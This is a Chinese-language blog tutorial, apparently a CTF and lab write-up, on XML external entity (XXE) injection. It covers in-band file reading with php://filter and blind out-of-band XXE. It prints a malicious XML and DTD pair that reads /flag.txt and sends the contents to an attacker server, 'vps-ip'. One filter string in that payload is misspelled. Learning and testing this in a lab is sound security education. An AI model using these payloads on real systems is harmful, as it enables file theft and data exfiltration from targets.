XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE

漏洞原理

XE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意外部文件,造成文件读取、命令执行、内网端口扫描。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件

环境搭建

地址:https://github.com/c0ny1/xxe-lab
下载好后将PHP_XXE放到PHPstudy的www目录下就可以访问
在这里插入图片描述

XXE有回显注入

在登录处先抓一下包,可以看到是参数的传递格式是XML,可能存在XML注入。
在这里插入图片描述
将数据包发送到Repeater模块,进行下一步的分析。
在这里插入图片描述
可以看到响应包里回显的内容为username,接着使用XXE漏洞进行文件读取。
在这里插入图片描述
读取txt文件时可以直接读取,但是在读取php文件时php代码可能会因为浏览器的解析而无法显示,这是需要将代码进行base64编码后再进行读出。

php://filter/read=convert.base64-encode/resource=文件地址

在这里插入图片描述
base64解码便可以获取abc.php的内容
在这里插入图片描述

XXE无回显注入

当一个Web程序可以解析XML输入,但却无任何输出响应这种注入叫做盲注XXE。所以为了测试这种盲注XXE,我们可以用非文件路径的外部实体来请求这里的Web应用。

这里借用CTFShow的一道题目进行讲解。
https://ctf.show/challenges#web4_%E8%A7%82%E5%BF%83-340
在这里插入图片描述
点击占卜,抓包看一下数据。看到它请求了一个外部的xml,可以推测存在XXE注入。
在这里插入图片描述
同时因为是从公网上的服务器发起请求,所以我们需要在自己的服务器上构造一个攻击链
首先开启Apache服务,把我们所构造的文件放在/var/www/html下,以便我们能访问到。

service apache2 start

创建一个test.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>

创建一个test.dtd

<!ENTITY % dtd "<!ENTITY xxe SYSTEM 'http://vps-ip/pass=%file;'>">
%dtd;
%xxe;

然后发起请求
在这里插入图片描述
得到flag。

猜你喜欢

转载自blog.csdn.net/weixin_43749601/article/details/115330101
xxe
今日推荐